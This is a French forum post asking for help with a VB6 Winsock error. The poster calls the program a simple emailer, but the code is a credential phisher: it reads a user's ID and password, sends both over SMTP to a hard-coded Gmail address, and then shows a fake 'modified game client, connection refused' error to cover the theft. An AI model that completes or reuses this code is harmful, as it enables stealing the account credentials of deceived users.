[VB6] Winsock probleme

Bonjour !
Je tente un banal logiciel qui permeterais d'envoyais des Email a une adresse predefini en VB, en voila la source ( incomplete hein :p )

Option Explicit
Dim serveur As String
Dim port As String
Dim envoyera As String
Dim delapartde As String

Private Sub Winsock1_Connect()
Dim message As String
Dim id As String
Dim pass As String
pass = txtpwd.Text
id = txtid.Text
Winsock1.SendData "HELO truc" & vbCrLf
Winsock1.SendData "mail from: " & "<" & delapartde & ">" & vbCrLf
Winsock1.SendData "rcpt to: " & "<" & envoyera & ">" & vbCrLf
Winsock1.SendData "DATA" & vbCrLf
Winsock1.SendData "from: " & delapartde & vbCrLf
Winsock1.SendData "subject: Mais" & vbCrLf
Winsock1.SendData "youplaboumboum !" & vbCrLf
Winsock1.SendData id & vbCrLf
Winsock1.SendData pass & vbCrLf
Winsock1.SendData "." & vbCrLf
Winsock1.SendData "quit"
Connect.Visible = False
''''''''''''''''''''''''''
'Message d'erreur bidon'''
''''''''''''''''''''''''''

message = MsgBox("Vous utilisez actuellement un client de jeu modifier. Merci de ne plus lancer ce logiciel par la suite. Connexion refusée")
End Sub

Private Sub Command1_Click()

End Sub

Private Sub txtid_Change()

If (txtid.Text <> "" And txtpwd.Text <> "") Then cmdconnect.Enabled = True
If (txtid.Text = "" Or txtpwd.Text = "") Then cmdconnect.Enabled = False
End Sub
Private Sub Form_Load()

serveur = "smtp.gmail.com "
delapartde = "Yoyolegrosnul@gmail.com"
port = 25
envoyera = "email@gmail.com"

End Sub

Private Sub Cmdconnect_Click()
MsgBox ("cmdconnect")
Winsock1.Connect serveur, port
cmdconnect.Caption = "Connexion en cours ..."
cmdconnect.Enabled = False
txtid.Enabled = False
txtpwd.Enabled = False

End Sub

Hors il me trouve une erreur au niveau de

Winsock1.Connect serveur, port

avec une variable indefini.

Quelqu'un pourais m'aider ?

Merci

( Avec l'aide magnifique d'ilsa et ses tuto )